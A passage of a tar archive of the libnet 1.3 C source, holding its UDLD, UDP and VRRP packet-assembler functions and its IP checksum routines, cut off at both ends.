memcpy(&token_ring_hdr.token_ring_llc_org_code, org, LIBNET_ORG_CODE_SIZE); token_ring_hdr.token_ring_type = htons(type); if (libnet_pblock_append(l, p, (uint8_t *)&token_ring_hdr, LIBNET_TOKEN_RING_H) == -1) { goto bad; } return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_TOKEN_RING_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_udld.c0000664000175000017500000002005514506572036015457 0ustar syqsyq#include "common.h" #include static libnet_ptag_t internal_build_udld_tlv(const uint16_t tlv_type, const uint8_t *value, const uint8_t value_s, libnet_t * l, libnet_ptag_t ptag) { struct libnet_udld_hdr hdr; uint32_t n, h; libnet_pblock_t *p; hdr.tlv__type = tlv_type; hdr.tlv__length = LIBNET_UDLD_TLV_HDR_SIZE + value_s; uint32_t host_type_and_len = 0; host_type_and_len |= (hdr.tlv__type << 16); host_type_and_len |= (hdr.tlv__length); uint32_t network_type_and_len = htonl(host_type_and_len); n = h = LIBNET_UDLD_TLV_HDR_SIZE + value_s; uint8_t pblock_type = 0; uint8_t value_type = 0; switch(tlv_type) { case LIBNET_UDLD_DEVICE_ID: pblock_type = LIBNET_PBLOCK_UDLD_DEVICE_ID_H; value_type = LIBNET_UDLD_VALUE_TYPE_ASCII; break; case LIBNET_UDLD_PORT_ID: pblock_type = LIBNET_PBLOCK_UDLD_PORT_ID_H; value_type = LIBNET_UDLD_VALUE_TYPE_ASCII; break; case LIBNET_UDLD_ECHO: pblock_type = LIBNET_PBLOCK_UDLD_ECHO_H; value_type = LIBNET_UDLD_VALUE_TYPE_ID_PAIRS; break; case LIBNET_UDLD_MESSAGE_INTERVAL: pblock_type = LIBNET_PBLOCK_UDLD_MSG_INTERVAL_H; value_type = LIBNET_UDLD_VALUE_TYPE_8_BIT_UINT; break; case LIBNET_UDLD_TIMEOUT_INTERVAL: pblock_type = LIBNET_PBLOCK_UDLD_TMT_INTERVAL_H; value_type = LIBNET_UDLD_VALUE_TYPE_8_BIT_UINT; break; case LIBNET_UDLD_DEVICE_NAME: pblock_type = LIBNET_PBLOCK_UDLD_DEVICE_NAME_H; value_type = LIBNET_UDLD_VALUE_TYPE_ASCII; break; case LIBNET_UDLD_SEQUENCE_NUMBER: pblock_type = LIBNET_PBLOCK_UDLD_SEQ_NUMBER_H; value_type = LIBNET_UDLD_VALUE_TYPE_32_BIT_UINT; break; default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): incorrect TLV type", __func__); goto bad; } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, pblock_type); if (p == NULL) { return (-1); } if (libnet_pblock_append(l, p, &network_type_and_len, sizeof(network_type_and_len)) == -1) { goto bad; } switch(value_type) { case LIBNET_UDLD_VALUE_TYPE_ASCII: case LIBNET_UDLD_VALUE_TYPE_ID_PAIRS: { if (libnet_pblock_append(l, p, value, value_s) == -1) { goto bad; } break; } case LIBNET_UDLD_VALUE_TYPE_8_BIT_UINT: { if (libnet_pblock_append(l, p, value, sizeof(uint8_t)) == -1) { goto bad; } break; } case LIBNET_UDLD_VALUE_TYPE_32_BIT_UINT: { const uint32_t sequence_number = htonl(*(const uint32_t *)value); if (libnet_pblock_append(l, p, &sequence_number, sizeof(uint32_t)) == -1) { goto bad; } break; } default: { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): incorrect value type", __func__); goto bad; } } if (ptag) { return ptag; } return libnet_pblock_update(l, p, h, pblock_type); bad: libnet_pblock_delete(l, p); return (-1); } LIBNET_API libnet_ptag_t libnet_build_udld_hdr(uint8_t version, uint8_t opcode, uint8_t flags, uint8_t checksum, const uint8_t *payload, uint32_t payload_s, libnet_t * l, libnet_ptag_t ptag) { struct libnet_udld_hdr udld_hdr; libnet_pblock_t *p = NULL; uint32_t n = 0; uint32_t h = 0; if (l == NULL) { return (-1); } n = LIBNET_UDLD_H + payload_s; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_UDLD_H); if (p == NULL) { return (-1); } memset(&udld_hdr, 0, sizeof(udld_hdr)); udld_hdr.version_opcode |= (version << LIBNET_UDLD_PDU_VERSION_OFFSET); udld_hdr.version_opcode |= (opcode); udld_hdr.flags = flags; udld_hdr.checksum = checksum; /* * Appened the protocol unit to the list. */ n = libnet_pblock_append(l, p, (u_char *) & udld_hdr, LIBNET_UDLD_H); if (n == -1) { goto bad; } LIBNET_DO_PAYLOAD(l, p); if (checksum == 0 && l->injection_type != LIBNET_RAW4) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_UDLD_H)); bad: libnet_pblock_delete(l, p); return (-1); } LIBNET_API libnet_ptag_t libnet_build_udld_device_id(const uint8_t *value, const uint8_t value_s, libnet_t * l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } if ((value && !value_s) || (!value && value_s)) { sprintf(l->err_buf, "%s(): value inconsistency\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_DEVICE_ID, value, value_s, l, ptag); } LIBNET_API libnet_ptag_t libnet_build_udld_port_id(const uint8_t *value, const uint8_t value_s, libnet_t * l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } if ((value && !value_s) || (!value && value_s)) { sprintf(l->err_buf, "%s(): value inconsistency\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_PORT_ID, value, value_s, l, ptag); } LIBNET_API libnet_ptag_t libnet_build_udld_echo(const uint8_t *value, const uint8_t value_s, libnet_t * l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } if ((value && !value_s) || (!value && value_s)) { sprintf(l->err_buf, "%s(): value inconsistency\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_ECHO, value, value_s, l, ptag); } LIBNET_API libnet_ptag_t libnet_build_udld_message_interval(const uint8_t *value, libnet_t *l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } assert(value && "value cannot be a NULL\n"); if (value == NULL) { sprintf(l->err_buf, "%s(): value pointer cannot be a NULL\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_MESSAGE_INTERVAL, value, sizeof(uint8_t), l, ptag); } LIBNET_API libnet_ptag_t libnet_build_udld_timeout_interval(const uint8_t *value, libnet_t *l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } assert(value && "value cannot be a NULL\n"); if (value == NULL) { sprintf(l->err_buf, "%s(): value pointer cannot be a NULL\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_TIMEOUT_INTERVAL, (const uint8_t *)value, sizeof(uint8_t), l, ptag); } LIBNET_API libnet_ptag_t libnet_build_udld_device_name(const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } if ((value && !value_s) || (!value && value_s)) { sprintf(l->err_buf, "%s(): value inconsistency\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_DEVICE_NAME, value, value_s, l, ptag); } LIBNET_API libnet_ptag_t libnet_build_udld_sequence_number(const uint8_t *value, libnet_t *l, libnet_ptag_t ptag) { if (l == NULL) { return (-1); } assert(value != NULL && "value cannot be a NULL\n"); if (value == NULL) { sprintf(l->err_buf, "%s(): value pointer cannot be a NULL\n", __FUNCTION__); return (-1); } return internal_build_udld_tlv(LIBNET_UDLD_SEQUENCE_NUMBER, value, sizeof(uint32_t), l, ptag); } libnet-1.3/src/libnet_build_udp.c0000664000175000017500000000617514506572036015326 0ustar syqsyq/* * $Id: libnet_build_udp.c,v 1.11 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_udp.c - UDP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_udp(uint16_t sp, uint16_t dp, uint16_t len, uint16_t sum, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; libnet_pblock_t *p; struct libnet_udp_hdr udp_hdr; if (l == NULL) { return (-1); } n = LIBNET_UDP_H + payload_s; /* size of memory block */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_UDP_H); if (p == NULL) { return (-1); } memset(&udp_hdr, 0, sizeof(udp_hdr)); udp_hdr.uh_sport = htons(sp); /* source port */ udp_hdr.uh_dport = htons(dp); /* destination port */ udp_hdr.uh_ulen = htons(len); /* total length of UDP packet*/ udp_hdr.uh_sum = (sum ? htons(sum) : 0);/* checksum */ if (libnet_pblock_append(l, p, (uint8_t *)&udp_hdr, LIBNET_UDP_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, len, LIBNET_PBLOCK_UDP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_vrrp.c0000664000175000017500000000643114506572036015522 0ustar syqsyq/* * $Id: libnet_build_vrrp.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_vrrp.c - VRRP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_vrrp(uint8_t version, uint8_t type, uint8_t vrouter_id, uint8_t priority, uint8_t ip_count, uint8_t auth_type, uint8_t advert_int, uint16_t sum, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_vrrp_hdr vrrp_hdr; if (l == NULL) { return (-1); } n = LIBNET_VRRP_H + payload_s; h = LIBNET_VRRP_H + payload_s; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_VRRP_H); if (p == NULL) { return (-1); } memset(&vrrp_hdr, 0, sizeof(vrrp_hdr)); vrrp_hdr.vrrp_v = version; vrrp_hdr.vrrp_t = type; vrrp_hdr.vrrp_vrouter_id = vrouter_id; vrrp_hdr.vrrp_priority = priority; vrrp_hdr.vrrp_ip_count = ip_count; vrrp_hdr.vrrp_auth_type = auth_type; vrrp_hdr.vrrp_advert_int = advert_int; vrrp_hdr.vrrp_sum = (sum ? htons(sum) : 0); if (libnet_pblock_append(l, p, (uint8_t *)&vrrp_hdr, LIBNET_VRRP_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_VRRP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_checksum.c0000664000175000017500000004326114506572036015156 0ustar syqsyq/* * $Id: libnet_checksum.c,v 1.14 2004/11/09 07:05:07 mike Exp $ * * libnet * libnet_checksum.c - checksum routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" /* Note: len is in bytes, not 16-bit words! */ int libnet_in_cksum(uint16_t *addr, int len) { int sum = 0; union { uint16_t s; uint8_t b[2]; } pad; sum = 0; while (len > 1) { sum += *addr++; len -= 2; } if (len == 1) { pad.b[0] = *(uint8_t *)addr; pad.b[1] = 0; sum += pad.s; } return (sum); } int libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode) { libnet_pblock_t *p; p = libnet_pblock_find(l, ptag); if (p == NULL) { /* err msg set in libnet_pblock_find() */ return (-1); } if (mode == LIBNET_ON) { if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) { return (1); } else { (p->flags) |= LIBNET_PBLOCK_DO_CHECKSUM; return (1); } } else { if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) { (p->flags) &= ~LIBNET_PBLOCK_DO_CHECKSUM; return (1); } else { return (1); } } } static int check_ip_payload_size(libnet_t*l, const uint8_t *iphdr, int ip_hl, int h_len, const uint8_t * end, const char* func) { if((iphdr+ip_hl+h_len) > end) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ip payload not inside packet (pktsz %d, iphsz %d, payloadsz %d)", func, (int)(end - iphdr), ip_hl, h_len); return -1; } return 0; } /* * For backwards binary compatibility. The calculations done here can easily * result in buffer overreads and overwrites. You have been warned. And no, it * is not possible to fix, the API contains no information on the buffer's * boundary. libnet itself calls the safe function, libnet_inet_checksum(). So * should you. */ int libnet_do_checksum(libnet_t *l, uint8_t *iphdr, int protocol, int h_len) { uint16_t ip_len = 0; struct libnet_ipv4_hdr* ip4 = (struct libnet_ipv4_hdr *)iphdr; struct libnet_ipv6_hdr* ip6 = (struct libnet_ipv6_hdr *)iphdr; if(ip4->ip_v == 6) { ip_len = ntohs(ip6->ip_len); } else { ip_len = ntohs(ip4->ip_len); } return libnet_inet_checksum(l, iphdr, protocol, h_len, iphdr, iphdr + ip_len ); } #define CHECK_IP_PAYLOAD_SIZE() do { \ int e=check_ip_payload_size(l,iphdr,ip_hl, h_len, end, __func__);\ if(e) return e;\ } while(0) /* * We are checksumming pblock "q" * * iphdr is the pointer to it's encapsulating IP header * protocol describes the type of "q", expressed as an IPPROTO_ value * h_len is the h_len from "q" */ int libnet_inet_checksum(libnet_t *l, uint8_t *iphdr, int protocol, int h_len, const uint8_t *beg, const uint8_t * end) { /* will need to update this for ipv6 at some point */ struct libnet_ipv4_hdr *iph_p = (struct libnet_ipv4_hdr *)iphdr; struct libnet_ipv6_hdr *ip6h_p = NULL; /* default to not using IPv6 */ int ip_hl = 0; int sum = 0; uint8_t ip_nh = 0; /* Check for memory under/over reads/writes. */ if(iphdr < beg || (iphdr+sizeof(*iph_p)) > end) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ipv4 hdr not inside packet (where %d, size %d)", __func__, (int)(iphdr-beg), (int)(end-beg)); return -1; } /* * Figure out which IP version we're dealing with. We'll assume v4 * and overlay a header structure to yank out the version. */ if (iph_p->ip_v == 6) { ip6h_p = (struct libnet_ipv6_hdr *)iph_p; iph_p = NULL; ip_hl = 40; ip_nh = ip6h_p->ip_nh; if((uint8_t*)(ip6h_p+1) > end) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ipv6 hdr not inside packet", __func__); return -1; } /* FIXME this entire fragile exercise would be avoided if we just passed * in the pointer to the protocol block 'q' we are checksumming, which * we know. */ while (ip_nh != protocol && (uint8_t*)ip6h_p + ip_hl + 1 < end) { /* next header is not the upper layer protocol */ switch (ip_nh) { case IPPROTO_DSTOPTS: case IPPROTO_HOPOPTS: case IPPROTO_ROUTING: case IPPROTO_FRAGMENT: case IPPROTO_AH: case IPPROTO_ESP: case IPPROTO_MH: /* * count option headers to the header length for * checksum processing */ /* Common structure of ipv6 ext headers is: * uint8: next header protocol * uint8: length of this header, in multiples of 8, not * including first eight octets * The pointer arithmetic below follows from above. */ ip_nh = *((uint8_t*)ip6h_p+ip_hl); /* next next header */ ip_hl += (*((uint8_t*)ip6h_p+ip_hl+1)+1)*8; /* ext header length */ break; default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unsupported extension header (%d)", __func__, ip_nh); return -1; } } } else { ip_hl = iph_p->ip_hl << 2; } if((iphdr+ip_hl) > end) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ip hdr len not inside packet", __func__); return -1; } /* * Dug Song came up with this very cool checksuming implementation * eliminating the need for explicit psuedoheader use. Check it out. */ switch (protocol) { case IPPROTO_TCP: { struct libnet_tcp_hdr *tcph_p = (struct libnet_tcp_hdr *)(iphdr + ip_hl); h_len = (int)(end - (uint8_t*) tcph_p); /* ignore h_len, sum the packet we've coalesced */ CHECK_IP_PAYLOAD_SIZE(); #if (STUPID_SOLARIS_CHECKSUM_BUG) tcph_p->th_sum = tcph_p->th_off << 2; return (1); #endif /* STUPID_SOLARIS_CHECKSUM_BUG */ #if (HAVE_HPUX11) if (l->injection_type != LIBNET_LINK) { /* * Similiar to the Solaris Checksum bug - but need to add * the size of the TCP payload (only for raw sockets). */ tcph_p->th_sum = (tcph_p->th_off << 2) + (h_len - (tcph_p->th_off << 2)); return (1); } #endif /* TCP checksum is over the IP pseudo header: * ip src * ip dst * tcp protocol (IPPROTO_TCP) * tcp length, including the header * + the TCP header (with checksum set to zero) and data */ tcph_p->th_sum = 0; if (ip6h_p) { sum = libnet_in_cksum((uint16_t *)&ip6h_p->ip_src, 32); } else { /* 8 = src and dst */ sum = libnet_in_cksum((uint16_t *)&iph_p->ip_src, 8); } sum += ntohs(IPPROTO_TCP + h_len); sum += libnet_in_cksum((uint16_t *)tcph_p, h_len); tcph_p->th_sum = LIBNET_CKSUM_CARRY(sum); #if 0 printf("tcp sum calculated: %#x/%d h_len %d\n", ntohs(tcph_p->th_sum), ntohs(tcph_p->th_sum), h_len ); #endif break; } case IPPROTO_UDP: { struct libnet_udp_hdr *udph_p = (struct libnet_udp_hdr *)(iphdr + ip_hl); h_len = (int)(end - (uint8_t*) udph_p); /* ignore h_len, sum the packet we've coalesced */ CHECK_IP_PAYLOAD_SIZE(); udph_p->uh_sum = 0; if (ip6h_p) { sum = libnet_in_cksum((uint16_t *)&ip6h_p->ip_src, 32); } else { sum = libnet_in_cksum((uint16_t *)&iph_p->ip_src, 8); } sum += ntohs(IPPROTO_UDP + h_len); sum += libnet_in_cksum((uint16_t *)udph_p, h_len); udph_p->uh_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_ICMP: { struct libnet_icmpv4_hdr *icmph_p = (struct libnet_icmpv4_hdr *)(iphdr + ip_hl); h_len = (int)(end - (uint8_t*) icmph_p); /* ignore h_len, sum the packet we've coalesced */ CHECK_IP_PAYLOAD_SIZE(); icmph_p->icmp_sum = 0; /* Hm, is this valid? Is the checksum algorithm for ICMPv6 encapsulated in IPv4 * actually defined? */ if (ip6h_p) { sum = libnet_in_cksum((uint16_t *)&ip6h_p->ip_src, 32); sum += ntohs(IPPROTO_ICMP6 + h_len); } sum += libnet_in_cksum((uint16_t *)icmph_p, h_len); icmph_p->icmp_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_ICMPV6: { struct libnet_icmpv6_hdr *icmph_p = (struct libnet_icmpv6_hdr *)(iphdr + ip_hl); h_len = (int)(end - (uint8_t*) icmph_p); /* ignore h_len, sum the packet we've coalesced */ CHECK_IP_PAYLOAD_SIZE(); icmph_p->icmp_sum = 0; if (ip6h_p) { sum = libnet_in_cksum((uint16_t *)&ip6h_p->ip_src, 32); sum += ntohs(IPPROTO_ICMP6 + h_len); } sum += libnet_in_cksum((uint16_t *)icmph_p, h_len); icmph_p->icmp_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_IGMP: { struct libnet_igmp_hdr *igmph_p = (struct libnet_igmp_hdr *)(iphdr + ip_hl); h_len = (int)(end - (uint8_t*) igmph_p); /* ignore h_len, sum the packet we've coalesced */ CHECK_IP_PAYLOAD_SIZE(); igmph_p->igmp_sum = 0; sum = libnet_in_cksum((uint16_t *)igmph_p, h_len); igmph_p->igmp_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_GRE: { /* checksum is always at the same place in GRE header * in the multiple RFC version of the protocol ... ouf !!! */ struct libnet_gre_hdr *greh_p = (struct libnet_gre_hdr *)(iphdr + ip_hl); uint16_t fv = ntohs(greh_p->flags_ver); CHECK_IP_PAYLOAD_SIZE(); if (!(fv & (GRE_CSUM|GRE_ROUTING | GRE_VERSION_0)) || !(fv & (GRE_CSUM|GRE_VERSION_1))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't compute GRE checksum (wrong flags_ver bits: 0x%x )", __func__, fv); return (-1); } sum = libnet_in_cksum((uint16_t *)greh_p, h_len); greh_p->gre_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_OSPF: { struct libnet_ospf_hdr *oh_p = (struct libnet_ospf_hdr *)(iphdr + ip_hl); CHECK_IP_PAYLOAD_SIZE(); oh_p->ospf_sum = 0; sum += libnet_in_cksum((uint16_t *)oh_p, h_len); oh_p->ospf_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_OSPF_LSA: { struct libnet_ospf_hdr *oh_p = (struct libnet_ospf_hdr *)(iphdr + ip_hl); struct libnet_lsa_hdr *lsa_p = (struct libnet_lsa_hdr *)(iphdr + ip_hl + oh_p->ospf_len); /* FIXME need additional length check, to account for ospf_len */ lsa_p->lsa_sum = 0; sum += libnet_in_cksum((uint16_t *)lsa_p, h_len); lsa_p->lsa_sum = LIBNET_CKSUM_CARRY(sum); break; #if 0 /* * Reworked fletcher checksum taken from RFC 1008. */ int c0, c1; struct libnet_lsa_hdr *lsa_p = (struct libnet_lsa_hdr *)buf; uint8_t *p, *p1, *p2, *p3; c0 = 0; c1 = 0; lsa_p->lsa_cksum = 0; p = buf; p1 = buf; p3 = buf + len; /* beginning and end of buf */ while (p1 < p3) { p2 = p1 + LIBNET_MODX; if (p2 > p3) { p2 = p3; } for (p = p1; p < p2; p++) { c0 += (*p); c1 += c0; } c0 %= 255; c1 %= 255; /* modular 255 */ p1 = p2; } #if AWR_PLEASE_REWORK_THIS lsa_p->lsa_cksum[0] = (((len - 17) * c0 - c1) % 255); if (lsa_p->lsa_cksum[0] <= 0) { lsa_p->lsa_cksum[0] += 255; } lsa_p->lsa_cksum[1] = (510 - c0 - lsa_p->lsa_cksum[0]); if (lsa_p->lsa_cksum[1] > 255) { lsa_p->lsa_cksum[1] -= 255; } #endif break; #endif } case IPPROTO_IP: { if(!iph_p) { /* IPv6 doesn't have a checksum */ } else { iph_p->ip_sum = 0; sum = libnet_in_cksum((uint16_t *)iph_p, ip_hl); iph_p->ip_sum = LIBNET_CKSUM_CARRY(sum); } break; } case IPPROTO_VRRP: { struct libnet_vrrp_hdr *vrrph_p = (struct libnet_vrrp_hdr *)(iphdr + ip_hl); CHECK_IP_PAYLOAD_SIZE(); vrrph_p->vrrp_sum = 0; sum = libnet_in_cksum((uint16_t *)vrrph_p, h_len); vrrph_p->vrrp_sum = LIBNET_CKSUM_CARRY(sum); break; } case LIBNET_PROTO_CDP: { /* XXX - Broken: how can we easily get the entire packet size? */ /* FIXME you can't, checksumming non-IP protocols was not supported by libnet */ struct libnet_cdp_hdr *cdph_p = (struct libnet_cdp_hdr *)iphdr; if((iphdr+h_len) > end) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): cdp payload not inside packet", __func__); return -1; } cdph_p->cdp_sum = 0; sum = libnet_in_cksum((uint16_t *)cdph_p, h_len); cdph_p->cdp_sum = LIBNET_CKSUM_CARRY(sum); break; } case LIBNET_PROTO_ISL: { #if 0 struct libnet_isl_hdr *islh_p = (struct libnet_isl_hdr *)buf; #endif /* * Need to compute 4 byte CRC for the ethernet frame and for * the ISL frame itself. Use the libnet_crc function. */ } case LIBNET_PROTO_UDLD: { /** * Once again. * iphdr points to the packet, which has the following structure: * IEEE 802.3 Ethernet 14 bytes * LLC 8 bytes * UDLD <<<<---- udld_hdr_offset */ /* FIXME: should we use ptrdiff_t for pointer arithmetics? */ int whole_packet_length = (end - iphdr); /* The length of IEEE 802.3 Ethernet + LLC + UDLD(include TLVs) */ if (whole_packet_length < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): cannot calculate packet lenght", __func__); return (-1); } const uint8_t udld_hdr_offset = (LIBNET_802_3_H + LIBNET_802_2SNAP_H); int udld_packet_length = (whole_packet_length - udld_hdr_offset); const uint16_t checksum = libnet_ip_check((uint16_t *)iphdr + (udld_hdr_offset/sizeof(uint16_t)), udld_packet_length); struct libnet_udld_hdr *udld_hdr = (struct libnet_udld_hdr *)(iphdr + udld_hdr_offset); udld_hdr->checksum = checksum; break; } default: { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unsupported protocol %d", __func__, protocol); return (-1); } } return (1); } uint16_t libnet_ip_check(uint16_t *addr, int len) { int sum; sum = libnet_in_cksum(addr, len); return (LIBNET_CKSUM_CARRY(sum)); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_cq.c0000664000175000017500000002060314506572036013752 0ustar syqsyq/* * $Id: libnet_cq.c,v 1.11 2004/01/28 19:45:00 mike Exp $ * * libnet * libnet_cq.c - context queue management routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Copyright (c) 2002 Frdric Raynal * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR 